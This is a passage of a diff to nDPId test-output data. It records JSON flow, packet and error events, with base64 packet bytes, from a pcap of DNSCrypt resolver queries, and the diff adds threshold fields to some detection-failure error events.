AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":148,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169132,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169132,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":54215,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":149,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169132,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169132,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49040,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318169132,"pkt":"REREREREZmZmZmZmCABFAAXcuoggAL0R36AKAAABwb+7a7+QAbsGBNniLygBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":149,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169132,"flow_src_last_pkt_time":946739318169132,"flow_dst_last_pkt_time":946739318169132,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169132,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49040,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":371,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318169148} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":371,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318169132,"pkt":"REREREREZmZmZmZmCABFAABQuokAub0RBHMKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":372,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318169153} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":372,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318169132,"pkt":"REREREREZmZmZmZmCABFAABQuogAub0RBHQKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":150,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169188,"flow_src_last_pkt_time":946739318169188,"flow_dst_last_pkt_time":946739318169188,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169188,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49115,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_src_last_pkt_time":946739318169188,"flow_dst_last_pkt_time":946739318169188,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739318169188,"pkt":"REREREREZmZmZmZmCABFAAIcuopAAL0Rw14KAAABwb+7a7\/bAbsCCEABLykBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":150,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318169188,"flow_src_last_pkt_time":946739318169188,"flow_dst_last_pkt_time":946739318169188,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318169188,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49115,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -767,7 +649,7 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":152,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048428,"flow_src_last_pkt_time":946739337048428,"flow_dst_last_pkt_time":946739337048428,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048428,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":49975,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_src_last_pkt_time":946739337048428,"flow_dst_last_pkt_time":946739337048428,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337048428,"pkt":"REREREREZmZmZmZmCABFAAXc+L0gAL0RbrcKAAABMw980MM3EPcGBKwyaUIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":384,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":152,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048428,"flow_src_last_pkt_time":946739337048428,"flow_dst_last_pkt_time":946739337048428,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048428,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":49975,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":385,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048442} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337048442,"packet_id":385,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048442} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":385,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337048428,"pkt":"REREREREZmZmZmZmCABFAABQ+L0Aub0Rk4oKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":386,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":153,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048478,"flow_src_last_pkt_time":946739337048478,"flow_dst_last_pkt_time":946739337048478,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048478,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":38310,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_src_last_pkt_time":946739337048478,"flow_dst_last_pkt_time":946739337048478,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337048478,"pkt":"REREREREZmZmZmZmCABFAAXc+L4gAL0RbrYKAAABMw980JWmEPcGBNnFaUABAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -775,12 +657,12 @@ 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":154,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048481,"flow_src_last_pkt_time":946739337048481,"flow_dst_last_pkt_time":946739337048481,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048481,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":55768,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 